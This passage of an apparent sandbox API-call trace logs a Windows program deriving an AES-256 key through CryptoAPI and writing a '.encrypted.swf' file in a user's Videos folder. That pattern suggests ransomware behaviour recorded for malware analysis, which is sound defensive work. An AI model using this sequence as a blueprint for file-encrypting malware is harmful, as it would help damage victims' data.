hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.350] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x7ffe2a590000 [0029.350] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.350] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.350] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.350] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.351] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.351] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.351] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.351] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.351] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.351] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0029.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0xe8f417ab20, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0029.352] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContext") returned 0x0 [0029.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0029.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0xe8f417a840, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0029.352] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContextA") returned 0x7ffe2a59f478 [0029.352] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f41997e0) returned 1 [0029.353] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.353] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.354] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.354] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.354] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.354] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.354] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.354] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.354] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.354] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.354] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.354] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.355] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.355] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.355] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.355] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.355] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.356] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.356] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.356] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.356] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.356] CryptCreateHash (in: hProv=0xe8f41997e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.356] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.356] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.356] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.357] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.357] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b2a0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.357] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.357] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.357] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.357] CryptDeriveKey (in: hProv=0xe8f41997e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.357] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.357] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.357] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.357] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.357] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.357] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.358] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx")) returned 0x10 [0029.358] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\wujnmkpd-vv.encrypted.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx\\wujnmkpd-vv.encrypted.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.360] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.360] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0029.362] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6bc9, lpOverlapped=0x0) returned 1 [0029.362] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.365] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.365] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.365] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.365] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.366] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.366] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.366] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.366] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.366] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.367] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.367] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.367] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.367] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.368] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417b240, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0029.368] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0029.368] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064ca0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ca0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.369] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.369] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.370] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.370] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.370] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.370] CharUpperBuffW 